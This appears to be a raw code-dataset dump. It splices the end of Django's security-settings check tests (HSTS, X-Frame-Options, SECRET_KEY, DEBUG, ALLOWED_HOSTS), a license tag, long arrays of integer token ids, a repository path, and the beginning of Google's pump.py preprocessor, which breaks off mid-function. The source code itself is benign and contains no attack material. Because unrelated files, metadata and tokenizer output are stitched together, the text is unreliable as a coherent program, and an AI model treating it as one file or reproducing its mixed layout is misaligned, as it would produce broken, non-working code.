MIDDLEWARE_CLASSES=[], CSRF_COOKIE_HTTPONLY=False) def test_with_csrf_cookie_httponly_false_no_middleware(self): """ No warning if CsrfViewMiddleware isn't in MIDDLEWARE, even if CSRF_COOKIE_HTTPONLY is False. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"], CSRF_COOKIE_HTTPONLY=True) def test_with_csrf_cookie_httponly_true(self): self.assertEqual(self.func(None), []) class CheckSecurityMiddlewareTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_security_middleware return check_security_middleware @override_settings(MIDDLEWARE=[]) def test_no_security_middleware(self): """ Warn if SecurityMiddleware isn't in MIDDLEWARE. """ self.assertEqual(self.func(None), [base.W001]) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"]) def test_with_security_middleware(self): self.assertEqual(self.func(None), []) class CheckStrictTransportSecurityTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_sts return check_sts @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_HSTS_SECONDS=0) def test_no_sts(self): """ Warn if SECURE_HSTS_SECONDS isn't > 0. """ self.assertEqual(self.func(None), [base.W004]) @override_settings( MIDDLEWARE=[], SECURE_HSTS_SECONDS=0) def test_no_sts_no_middleware(self): """ Don't warn if SECURE_HSTS_SECONDS isn't > 0 and SecurityMiddleware isn't installed. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_HSTS_SECONDS=3600) def test_with_sts(self): self.assertEqual(self.func(None), []) class CheckStrictTransportSecuritySubdomainsTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_sts_include_subdomains return check_sts_include_subdomains @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_HSTS_INCLUDE_SUBDOMAINS=False, SECURE_HSTS_SECONDS=3600) def test_no_sts_subdomains(self): """ Warn if SECURE_HSTS_INCLUDE_SUBDOMAINS isn't True. """ self.assertEqual(self.func(None), [base.W005]) @override_settings( MIDDLEWARE=[], SECURE_HSTS_INCLUDE_SUBDOMAINS=False, SECURE_HSTS_SECONDS=3600) def test_no_sts_subdomains_no_middleware(self): """ Don't warn if SecurityMiddleware isn't installed. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_SSL_REDIRECT=False, SECURE_HSTS_SECONDS=None) def test_no_sts_subdomains_no_seconds(self): """ Don't warn if SECURE_HSTS_SECONDS isn't set. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_HSTS_INCLUDE_SUBDOMAINS=True, SECURE_HSTS_SECONDS=3600) def test_with_sts_subdomains(self): self.assertEqual(self.func(None), []) class CheckXFrameOptionsMiddlewareTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_xframe_options_middleware return check_xframe_options_middleware @override_settings(MIDDLEWARE=[]) def test_middleware_not_installed(self): """ Warn if XFrameOptionsMiddleware isn't in MIDDLEWARE. """ self.assertEqual(self.func(None), [base.W002]) @override_settings(MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"]) def test_middleware_installed(self): self.assertEqual(self.func(None), []) class CheckXFrameOptionsDenyTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_xframe_deny return check_xframe_deny @override_settings( MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"], X_FRAME_OPTIONS='SAMEORIGIN', ) def test_x_frame_options_not_deny(self): """ Warn if XFrameOptionsMiddleware is in MIDDLEWARE but X_FRAME_OPTIONS isn't 'DENY'. """ self.assertEqual(self.func(None), [base.W019]) @override_settings(MIDDLEWARE=[], X_FRAME_OPTIONS='SAMEORIGIN') def test_middleware_not_installed(self): """ No error if XFrameOptionsMiddleware isn't in MIDDLEWARE even if X_FRAME_OPTIONS isn't 'DENY'. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.clickjacking.XFrameOptionsMiddleware"], X_FRAME_OPTIONS='DENY', ) def test_xframe_deny(self): self.assertEqual(self.func(None), []) class CheckContentTypeNosniffTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_content_type_nosniff return check_content_type_nosniff @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_CONTENT_TYPE_NOSNIFF=False) def test_no_content_type_nosniff(self): """ Warn if SECURE_CONTENT_TYPE_NOSNIFF isn't True. """ self.assertEqual(self.func(None), [base.W006]) @override_settings( MIDDLEWARE=[], SECURE_CONTENT_TYPE_NOSNIFF=False) def test_no_content_type_nosniff_no_middleware(self): """ Don't warn if SECURE_CONTENT_TYPE_NOSNIFF isn't True and SecurityMiddleware isn't in MIDDLEWARE. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_CONTENT_TYPE_NOSNIFF=True) def test_with_content_type_nosniff(self): self.assertEqual(self.func(None), []) class CheckXssFilterTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_xss_filter return check_xss_filter @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_BROWSER_XSS_FILTER=False) def test_no_xss_filter(self): """ Warn if SECURE_BROWSER_XSS_FILTER isn't True. """ self.assertEqual(self.func(None), [base.W007]) @override_settings( MIDDLEWARE=[], SECURE_BROWSER_XSS_FILTER=False) def test_no_xss_filter_no_middleware(self): """ Don't warn if SECURE_BROWSER_XSS_FILTER isn't True and SecurityMiddleware isn't in MIDDLEWARE. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_BROWSER_XSS_FILTER=True) def test_with_xss_filter(self): self.assertEqual(self.func(None), []) class CheckSSLRedirectTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_ssl_redirect return check_ssl_redirect @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_SSL_REDIRECT=False) def test_no_ssl_redirect(self): """ Warn if SECURE_SSL_REDIRECT isn't True. """ self.assertEqual(self.func(None), [base.W008]) @override_settings( MIDDLEWARE=[], SECURE_SSL_REDIRECT=False) def test_no_ssl_redirect_no_middleware(self): """ Don't warn if SECURE_SSL_REDIRECT is False and SecurityMiddleware isn't installed. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.security.SecurityMiddleware"], SECURE_SSL_REDIRECT=True) def test_with_ssl_redirect(self): self.assertEqual(self.func(None), []) class CheckSecretKeyTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_secret_key return check_secret_key @override_settings(SECRET_KEY=('abcdefghijklmnopqrstuvwx' * 2) + 'ab') def test_okay_secret_key(self): self.assertEqual(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH) self.assertGreater(len(set(settings.SECRET_KEY)), base.SECRET_KEY_MIN_UNIQUE_CHARACTERS) self.assertEqual(self.func(None), []) @override_settings(SECRET_KEY='') def test_empty_secret_key(self): self.assertEqual(self.func(None), [base.W009]) @override_settings(SECRET_KEY=None) def test_missing_secret_key(self): del settings.SECRET_KEY self.assertEqual(self.func(None), [base.W009]) @override_settings(SECRET_KEY=None) def test_none_secret_key(self): self.assertEqual(self.func(None), [base.W009]) @override_settings(SECRET_KEY=('abcdefghijklmnopqrstuvwx' * 2) + 'a') def test_low_length_secret_key(self): self.assertEqual(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH - 1) self.assertEqual(self.func(None), [base.W009]) @override_settings(SECRET_KEY='abcd' * 20) def test_low_entropy_secret_key(self): self.assertGreater(len(settings.SECRET_KEY), base.SECRET_KEY_MIN_LENGTH) self.assertLess(len(set(settings.SECRET_KEY)), base.SECRET_KEY_MIN_UNIQUE_CHARACTERS) self.assertEqual(self.func(None), [base.W009]) class CheckDebugTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_debug return check_debug @override_settings(DEBUG=True) def test_debug_true(self): """ Warn if DEBUG is True. """ self.assertEqual(self.func(None), [base.W018]) @override_settings(DEBUG=False) def test_debug_false(self): self.assertEqual(self.func(None), []) class CheckAllowedHostsTest(SimpleTestCase): @property def func(self): from django.core.checks.security.base import check_allowed_hosts return check_allowed_hosts @override_settings(ALLOWED_HOSTS=[]) def test_allowed_hosts_empty(self): self.assertEqual(self.func(None), [base.W020]) @override_settings(ALLOWED_HOSTS=['.example.com', ]) def test_allowed_hosts_set(self): self.assertEqual(self.func(None), [])
bsd-3-clause
[ 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 8625, 14, 4416, 492, 1300, 12, 19213, 12, 12184, 199, 504, 1639, 14, 1018, 14, 8625, 14, 1208, 492, 3371, 63, 5754, 63, 1188, 199, 504, 1639, 14, 396, 492, 24424, 199, 504, 1639, 14, 396, 14, 1208, 492, 4278, 63, 1751, 421, 199, 533, 2670, 4434, 7810, 24117, 774, 8, 17968, 304, 272, 768, 1829, 272, 347, 2562, 8, 277, 304, 267, 687, 1639, 14, 1018, 14, 8625, 14, 4416, 14, 11676, 492, 1104, 63, 1730, 63, 5306, 63, 7817, 267, 372, 1104, 63, 1730, 63, 5306, 63, 7817, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 7657, 63, 571, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 298, 1176, 14, 2828, 14, 11676, 2, 365, 267, 315, 31061, 63, 14219, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 9523, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 7657, 63, 571, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 9523, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 5754, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 267, 298, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 2, 365, 315, 267, 30718, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 13059, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 5754, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 2068, 63, 5754, 63, 1188, 8, 11676, 14, 55, 13059, 3948, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 10727, 8, 277, 304, 267, 408, 267, 982, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 781, 2342, 3865, 314, 2351, 1145, 436, 267, 314, 10816, 12, 5647, 1373, 2863, 5721, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 11533, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 10727, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 11533, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 549, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 2052, 8, 277, 304, 267, 408, 267, 982, 428, 9577, 63, 13665, 63, 20696, 365, 641, 12, 2337, 1159, 949, 5721, 3595, 652, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 3073, 421, 199, 533, 2670, 4434, 7810, 5779, 5903, 774, 8, 17968, 304, 272, 768, 1829, 272, 347, 2562, 8, 277, 304, 267, 687, 1639, 14, 1018, 14, 8625, 14, 4416, 14, 11676, 492, 1104, 63, 1730, 63, 5306, 63, 16916, 26960, 267, 372, 1104, 63, 1730, 63, 5306, 63, 16916, 26960, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 2856, 10452, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 16916, 26960, 63, 1045, 63, 7657, 63, 571, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 2856, 10452, 365, 2331, 436, 298, 1176, 14, 2828, 14, 11676, 2, 267, 365, 315, 31061, 63, 14219, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 13264, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 2856, 10452, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 16916, 26960, 63, 1045, 63, 5754, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 2856, 10452, 365, 2331, 436, 267, 298, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 2, 365, 315, 267, 30718, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 10752, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 2856, 10452, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 6270 ]
[ 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 8625, 14, 4416, 492, 1300, 12, 19213, 12, 12184, 199, 504, 1639, 14, 1018, 14, 8625, 14, 1208, 492, 3371, 63, 5754, 63, 1188, 199, 504, 1639, 14, 396, 492, 24424, 199, 504, 1639, 14, 396, 14, 1208, 492, 4278, 63, 1751, 421, 199, 533, 2670, 4434, 7810, 24117, 774, 8, 17968, 304, 272, 768, 1829, 272, 347, 2562, 8, 277, 304, 267, 687, 1639, 14, 1018, 14, 8625, 14, 4416, 14, 11676, 492, 1104, 63, 1730, 63, 5306, 63, 7817, 267, 372, 1104, 63, 1730, 63, 5306, 63, 7817, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 7657, 63, 571, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 298, 1176, 14, 2828, 14, 11676, 2, 365, 267, 315, 31061, 63, 14219, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 9523, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 7657, 63, 571, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 9523, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 5754, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 267, 298, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 2, 365, 315, 267, 30718, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 13059, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 1045, 63, 5754, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 2068, 63, 5754, 63, 1188, 8, 11676, 14, 55, 13059, 3948, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 10727, 8, 277, 304, 267, 408, 267, 982, 428, 9577, 63, 13665, 63, 20696, 365, 2331, 436, 781, 2342, 3865, 314, 2351, 1145, 436, 267, 314, 10816, 12, 5647, 1373, 2863, 5721, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 11533, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 29, 403, 12, 267, 30718, 63, 13748, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 10727, 63, 5754, 63, 2888, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 11533, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 20696, 29, 549, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 7817, 63, 2052, 8, 277, 304, 267, 408, 267, 982, 428, 9577, 63, 13665, 63, 20696, 365, 641, 12, 2337, 1159, 949, 5721, 3595, 652, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 3073, 421, 199, 533, 2670, 4434, 7810, 5779, 5903, 774, 8, 17968, 304, 272, 768, 1829, 272, 347, 2562, 8, 277, 304, 267, 687, 1639, 14, 1018, 14, 8625, 14, 4416, 14, 11676, 492, 1104, 63, 1730, 63, 5306, 63, 16916, 26960, 267, 372, 1104, 63, 1730, 63, 5306, 63, 16916, 26960, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 2856, 10452, 29, 797, 12, 267, 31061, 63, 14219, 6270, 1176, 14, 2828, 14, 11676, 2255, 267, 30718, 14285, 272, 347, 511, 63, 1730, 63, 5306, 63, 16916, 26960, 63, 1045, 63, 7657, 63, 571, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 2856, 10452, 365, 2331, 436, 298, 1176, 14, 2828, 14, 11676, 2, 267, 365, 315, 31061, 63, 14219, 14, 267, 408, 267, 291, 14, 629, 8, 277, 14, 1532, 8, 403, 395, 359, 11676, 14, 55, 13264, 566, 339, 768, 4415, 63, 1751, 8, 267, 428, 9577, 63, 13665, 63, 2856, 10452, 29, 797, 12, 267, 31061, 63, 14219, 6034, 267, 30718, 6270, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 3135, 272, 347, 511, 63, 1730, 63, 5306, 63, 16916, 26960, 63, 1045, 63, 5754, 8, 277, 304, 267, 408, 267, 644, 1060, 340, 428, 9577, 63, 13665, 63, 2856, 10452, 365, 2331, 436, 267, 298, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 2, 365, 315, 267, 30718, 14, 267, 408, 267, 291, 14, 629, 8, 277,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
foyzur/gpdb
gpAux/extensions/gtest/scripts/pump.py
2471
23673
#!/usr/bin/env python # # Copyright 2008, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """pump v0.2.0 - Pretty Useful for Meta Programming. A tool for preprocessor meta programming. Useful for generating repetitive boilerplate code. Especially useful for writing C++ classes, functions, macros, and templates that need to work with various number of arguments. USAGE: pump.py SOURCE_FILE EXAMPLES: pump.py foo.cc.pump Converts foo.cc.pump to foo.cc. GRAMMAR: CODE ::= ATOMIC_CODE* ATOMIC_CODE ::= $var ID = EXPRESSION | $var ID = [[ CODE ]] | $range ID EXPRESSION..EXPRESSION | $for ID SEPARATOR [[ CODE ]] | $($) | $ID | $(EXPRESSION) | $if EXPRESSION [[ CODE ]] ELSE_BRANCH | [[ CODE ]] | RAW_CODE SEPARATOR ::= RAW_CODE | EMPTY ELSE_BRANCH ::= $else [[ CODE ]] | $elif EXPRESSION [[ CODE ]] ELSE_BRANCH | EMPTY EXPRESSION has Python syntax. """ __author__ = 'wan@google.com (Zhanyong Wan)' import os import re import sys TOKEN_TABLE = [ (re.compile(r'\$var\s+'), '$var'), (re.compile(r'\$elif\s+'), '$elif'), (re.compile(r'\$else\s+'), '$else'), (re.compile(r'\$for\s+'), '$for'), (re.compile(r'\$if\s+'), '$if'), (re.compile(r'\$range\s+'), '$range'), (re.compile(r'\$[_A-Za-z]\w*'), '$id'), (re.compile(r'\$\(\$\)'), '$($)'), (re.compile(r'\$'), '$'), (re.compile(r'\[\[\n?'), '[['), (re.compile(r'\]\]\n?'), ']]'), ] class Cursor: """Represents a position (line and column) in a text file.""" def __init__(self, line=-1, column=-1): self.line = line self.column = column def __eq__(self, rhs): return self.line == rhs.line and self.column == rhs.column def __ne__(self, rhs): return not self == rhs def __lt__(self, rhs): return self.line < rhs.line or ( self.line == rhs.line and self.column < rhs.column) def __le__(self, rhs): return self < rhs or self == rhs def __gt__(self, rhs): return rhs < self def __ge__(self, rhs): return rhs <= self def __str__(self): if self == Eof(): return 'EOF' else: return '%s(%s)' % (self.line + 1, self.column) def __add__(self, offset): return Cursor(self.line, self.column + offset) def __sub__(self, offset): return Cursor(self.line, self.column - offset) def Clone(self): """Returns a copy of self.""" return Cursor(self.line, self.column) # Special cursor to indicate the end-of-file. def Eof(): """Returns the special cursor to denote the end-of-file.""" return Cursor(-1, -1) class Token: """Represents a token in a Pump source file.""" def __init__(self, start=None, end=None, value=None, token_type=None): if start is None: self.start = Eof() else: self.start = start if end is None: self.end = Eof() else: self.end = end self.value = value self.token_type = token_type def __str__(self): return 'Token @%s: \'%s\' type=%s' % ( self.start, self.value, self.token_type) def Clone(self): """Returns a copy of self.""" return Token(self.start.Clone(), self.end.Clone(), self.value, self.token_type) def StartsWith(lines, pos, string): """Returns True iff the given position in lines starts with 'string'.""" return lines[pos.line][pos.column:].startswith(string) def FindFirstInLine(line, token_table): best_match_start = -1 for (regex, token_type) in token_table: m = regex.search(line) if m: # We found regex in lines if best_match_start < 0 or m.start() < best_match_start: best_match_start = m.start() best_match_length = m.end() - m.start() best_match_token_type = token_type if best_match_start < 0: return None return (best_match_start, best_match_length, best_match_token_type) def FindFirst(lines, token_table, cursor): """Finds the first occurrence of any string in strings in lines.""" start = cursor.Clone() cur_line_number = cursor.line for line in lines[start.line:]: if cur_line_number == start.line: line = line[start.column:] m = FindFirstInLine(line, token_table) if m: # We found a regex in line. (start_column, length, token_type) = m if cur_line_number == start.line: start_column += start.column found_start = Cursor(cur_line_number, start_column) found_end = found_start + length return MakeToken(lines, found_start, found_end, token_type) cur_line_number += 1 # We failed to find str in lines return None def SubString(lines, start, end): """Returns a substring in lines.""" if end == Eof(): end = Cursor(len(lines) - 1, len(lines[-1])) if start >= end: return '' if start.line == end.line: return lines[start.line][start.column:end.column] result_lines = ([lines[start.line][start.column:]] + lines[start.line + 1:end.line] + [lines[end.line][:end.column]]) return ''.join(result_lines) def StripMetaComments(str): """Strip meta comments from each line in the given string.""" # First, completely remove lines containing nothing but a meta # comment, including the trailing \n. str = re.sub(r'^\s*\$\$.*\n', '', str) # Then, remove meta comments from contentful lines. return re.sub(r'\s*\$\$.*', '', str) def MakeToken(lines, start, end, token_type): """Creates a new instance of Token.""" return Token(start, end, SubString(lines, start, end), token_type) def ParseToken(lines, pos, regex, token_type): line = lines[pos.line][pos.column:] m = regex.search(line) if m and not m.start(): return MakeToken(lines, pos, pos + m.end(), token_type) else: print 'ERROR: %s expected at %s.' % (token_type, pos) sys.exit(1) ID_REGEX = re.compile(r'[_A-Za-z]\w*') EQ_REGEX = re.compile(r'=') REST_OF_LINE_REGEX = re.compile(r'.*?(?=$|\$\$)') OPTIONAL_WHITE_SPACES_REGEX = re.compile(r'\s*') WHITE_SPACE_REGEX = re.compile(r'\s') DOT_DOT_REGEX = re.compile(r'\.\.') def Skip(lines, pos, regex): line = lines[pos.line][pos.column:] m = re.search(regex, line) if m and not m.start(): return pos + m.end() else: return pos def SkipUntil(lines, pos, regex, token_type): line = lines[pos.line][pos.column:] m = re.search(regex, line) if m: return pos + m.start() else: print ('ERROR: %s expected on line %s after column %s.' % (token_type, pos.line + 1, pos.column)) sys.exit(1) def ParseExpTokenInParens(lines, pos): def ParseInParens(pos): pos = Skip(lines, pos, OPTIONAL_WHITE_SPACES_REGEX) pos = Skip(lines, pos, r'\(') pos = Parse(pos) pos = Skip(lines, pos, r'\)') return pos def Parse(pos): pos = SkipUntil(lines, pos, r'\(|\)', ')') if SubString(lines, pos, pos + 1) == '(': pos = Parse(pos + 1) pos = Skip(lines, pos, r'\)') return Parse(pos) else: return pos start = pos.Clone() pos = ParseInParens(pos) return MakeToken(lines, start, pos, 'exp') def RStripNewLineFromToken(token): if token.value.endswith('\n'): return Token(token.start, token.end, token.value[:-1], token.token_type) else: return token def TokenizeLines(lines, pos): while True: found = FindFirst(lines, TOKEN_TABLE, pos) if not found: yield MakeToken(lines, pos, Eof(), 'code') return if found.start == pos: prev_token = None 